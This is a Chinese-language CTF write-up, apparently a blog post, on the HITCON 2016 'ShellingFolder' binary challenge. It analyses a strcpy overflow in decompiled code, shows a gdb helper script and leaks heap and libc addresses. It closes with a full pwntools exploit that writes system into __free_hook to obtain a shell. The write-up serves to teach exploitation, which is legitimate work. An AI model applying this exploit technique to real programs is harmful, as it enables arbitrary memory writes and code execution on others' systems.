美文网首页
Hitcon2016之shellingHolder

Hitcon2016之shellingHolder

作者: bluecake | 来源:发表于2017-02-28 15:07 被阅读0次

在调试这道题的时候,遇到了一些问题,这里顺便把整个过程记录下,方便日后查询

调试环境:

系统版本  :kali2.0
glibc版本 :glibc-2.14

这道题实现了一个文件管理器

**************************************
            ShellingFolder            
**************************************
 1.List the current folder            
 2.Change the current folder          
 3.Make a folder                      
 4.Create a file in current folder    
 5.Remove a folder or a file          
 6.Caculate the size of folder        
 7.Exit                               
**************************************
Your choice:

看一下程序开启了那些保护

root@kali ~/桌/shellingFolder# checksec shellingfolder
[!] Couldn't find relocations against PLT to get symbols
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

除了canary,其他的保护都是开启的,可能本题中包含了一些栈相关的漏洞。接下来开始分析逻辑。直接看偏移量比较费劲,所以可以先把已经分析出来的结构定义成为一个结构体,按快捷键Shift+F1插入一个定义

struct dirFile
{
  struct dirFile *childDirFiles[10];
  _QWORD *parent_dir;
  char *filename[32];
  _QWORD size;
  _DWORD type;
};

因为程序开启了PIE,gdb attach上去后下断点不是很方便,所以这里我写了一个小教本

#description : gdb辅助调试脚本
#dependency  : gdb-peda plugin
#function    : mbreak, mheap

python code_addr = peda.get_vmmap('binary')[0][0]
python peda.execute('set $code='+hex(code_addr))

define mbreak
    break * $code + $arg0
end

document mbreak
    mbreak is a helpful command for you to set a breakpoint
    when the debuged program opened the PIE protection
    example:
        mbreak 0x1234    
        means set a breakpoint offset 0x1234 from start of code section
end

set $mheap_opt = 0
set $last_pos = 0
set $start_pos = 0
set $last_offset = 0
define mheap 
    if($mheap_opt == 0)
        python heap_addr = peda.get_vmmap('[heap]')[0][0]
        python peda.execute('set $heap='+hex(heap_addr))
        set $mheap_opt = 1
    end
    if ($argc == 1) 
        set $start_pos = $arg0
        if ($last_offset != $start_pos)
            set $last_pos = 0
            set $last_offset = $start_pos
        end
        x/40a $heap + $last_pos + $start_pos
        python peda.execute("set $arch = " + str(peda.getarch()[1]))
        set $last_pos = $last_pos + 5 * $arch
    end
    if ($argc == 0)
        x/80a $heap 
    end
end

document mheap
    mheap [0ffset], count from head of heap
    example:
        mheap 0x10
end

source aa
define ssa
    session save aa
end

#导入glibc源码
#directory ~/desktop/glibc-2.24/malloc/

在calculate函数中

__int64 __fastcall calculate(DirFile *curFolder)
{
  char filename; // [sp+10h] [bp-30h]@3
  _QWORD *v3; // [sp+28h] [bp-18h]@5
  int i; // [sp+30h] [bp-10h]@3
  __int64 v5; // [sp+38h] [bp-8h]@1

  if ( !curFolder )
    exit(1);
  i = 0;
  memset(&filename, 0, 32uLL);
  while ( i <= 9 )
  {
    if ( curFolder->childDirFiles[i] )
    {
      v3 = &curFolder->size;
      strcpy(&filename, curFolder->childDirFiles[i]->filename);
      if ( curFolder->childDirFiles[i]->type == 1 )// 文件夹
      {
        *v3 = *v3;
      }
      else                                      // 文件
      {
        printf("%s : size %ld\n", &filename, curFolder->childDirFiles[i]->size);
        *v3 += curFolder->childDirFiles[i]->size;
      }
    }
    ++i;
  }
  printf("The size of the folder is %ld\n", curFolder->size);
  return *MK_FP(__FS__, 40LL) ^ v5;
}

函数中调用了strcpy来拷贝文件名到filename变量中,这里filename的大小是24字节,而filename的可控大小为31字节,因此这里存在7字节的溢出。我们来看看进行拷贝时栈的状态

stack结构图
那么,只要我们使用24个字符来填充就可以泄露出栈地址。这里,我们不用考虑零截断的问题,因为出题人自己实现一个没有零截断的strcpy函数(这个坑真是挖的好)
void *__fastcall strcpy(void *a1, const char *a2)
{
  size_t n; // ST28_8@1

  n = strlen(a2);
  return memcpy(a1, a2, n);
}

实际上,这里覆盖的变量实际上是calculate函数中的变量v3,而且,size是完全可控的,这就意味着我们拥有了任意内存写的能力

任意内存写
但是,因为程序开启了PIE,所以我们还需要泄露代码段才能进行常规的利用操作。在本题中,堆上不可能出现栈和代码段的地址,所以常规的利用思路在这里行不通,但可以通过free操作来泄露libc上的地址(这里有一个需要注意的点,为了避免堆合并, 需要申请两个堆,然后释放第一个堆)。
泄露libc地址.png
接下来就是修改文件列表指针,使其指向一个合适的位置就行了,并调用listFolder功能就可以了。
makeFile('a'*24 + '\x10', 0x38)
makeFolder('2')
makeFile('3', 23) 
remove('2')
calculate()
listFolder()
p.recvuntil('----------------------\n')
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info('main_arena addr is ' + hex(main_arena))

如何get shell呢,因为没办法泄露代码段地址,也就没有办法修改got表。别人的writeup里面修改的__free_hook

free_hook.png
这是glibc源码free函数的前面几行,不难发现,__free_hook具有较早的执行时机,其在默认情况下为NULL。
Paste_Image.png
总体上就是这个思路,下面是完整的exp
from pwn import *

def listFolder():
    p.recvuntil('choice:')
    p.sendline('1')

def changeFolder(newFolder):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('Folder')
    p.sendline(newFolder)
   
def makeFolder(name):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('Folder')
    p.sendline(name)

def makeFile(name,size):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('File:')
    p.sendline(name)
    p.recvuntil('File:')
    p.sendline(str(size))

def remove(folderOrFile):
    p.recvuntil('choice:')
    p.sendline('5')
    p.recvuntil('file')
    p.sendline(folderOrFile)

def calculate():
    p.recvuntil('choice:')
    p.sendline('6')

slog = 1
debug = 1

p = process('./shellingfolder')
if slog: context.log_level = True

#step 1. leak heap address
makeFile('a'*24, 23)
calculate()
p.recvuntil('a'*24)
heap_base = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info("heap base is " + hex(heap_base))
remove('a'*24)

#leak main_arena
makeFile('a'*24 + '\x10', 0x38)
makeFolder('2')
makeFile('3', 23)
remove('2')
calculate()
listFolder()
p.recvuntil('----------------------\n')
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info('main_arena addr is ' + hex(main_arena))

free_hook = main_arena + 0x1cb8
log.info('free_hook addr is ' + hex(free_hook))

system_addr = main_arena - 0x3596a0 + 0x30
log.info('system_addr addr is ' + hex(system_addr))

#write system address into __free_hook
makeFile('a'*24 + p64(free_hook)[:6], system_addr & 0xffffffff)
makeFile('a'*24 + p64(free_hook + 4 )[:6], (system_addr >> 32) + 0x1)
makeFile('a'*24 + p64(heap_base + 0x1c0)[:6], u32('sh\x00\x00'))
calculate()

#get shell
remove('3')
p.interactive()

相关文章

  • Hitcon2016之shellingHolder

    在调试这道题的时候,遇到了一些问题,这里顺便把整个过程记录下,方便日后查询 调试环境: 这道题实现了一个文件管理器...

  • HITCON2016 之 secretfolder

    很早就想写关于HITCON2016的PWN题的一些理解分析,但因为懒人心理一拖再拖,今天终于可以静下心来写一写wr...

  • 十之

    博学之,审问之,慎思之,明辨之,笃行之。 励志之,健身之,涅槃之,弘毅之,自强之!

  • 读记|唐诗人:诗心煎红尘(二)

    愈之挫之 险之退之 借之济之 忠之犯之 勇之夺之 衰之立之 坚之韧之 载之言之 一代宗师 成之传之 字曰子厚 道解...

  • 《寄君归》

    思之念之 见之不忘 吾亦求之 求之不得 吾亦念之 兮之盼之 来之归之 欲予离之 得之兮之 心思念之 盼来归之 归之...

  • 飘零

    艾雪儿 难耐心中怦然之 抑之,控之,思之,忘之 能否任之,弃之,拥之,念之 山河为鉴 赴之,游之,悦之,相守之…

  • 《美》

    刚之美,软之美,善之美,心之美。 水之美,声之美,爱之美,景之美,笑之美,物之美,月之美。 仁之美,慈之美,德之美...

  • 众说纷云

    众说纷云 文‖曾之一 20200220 古人说 真之假之善之恶之美之丑之 今人说 真之假之善之恶之美之丑之 后人说...

  • 安沨

    博学之,审问之,慎思之,明辨之,笃行之。

  • 2019-01-13

    博学之、明辨之、慎思之、审问之、笃行之

网友评论

      本文标题:Hitcon2016之shellingHolder

      本文链接:https://www.haomeiwen.com/subject/tuwawttx.html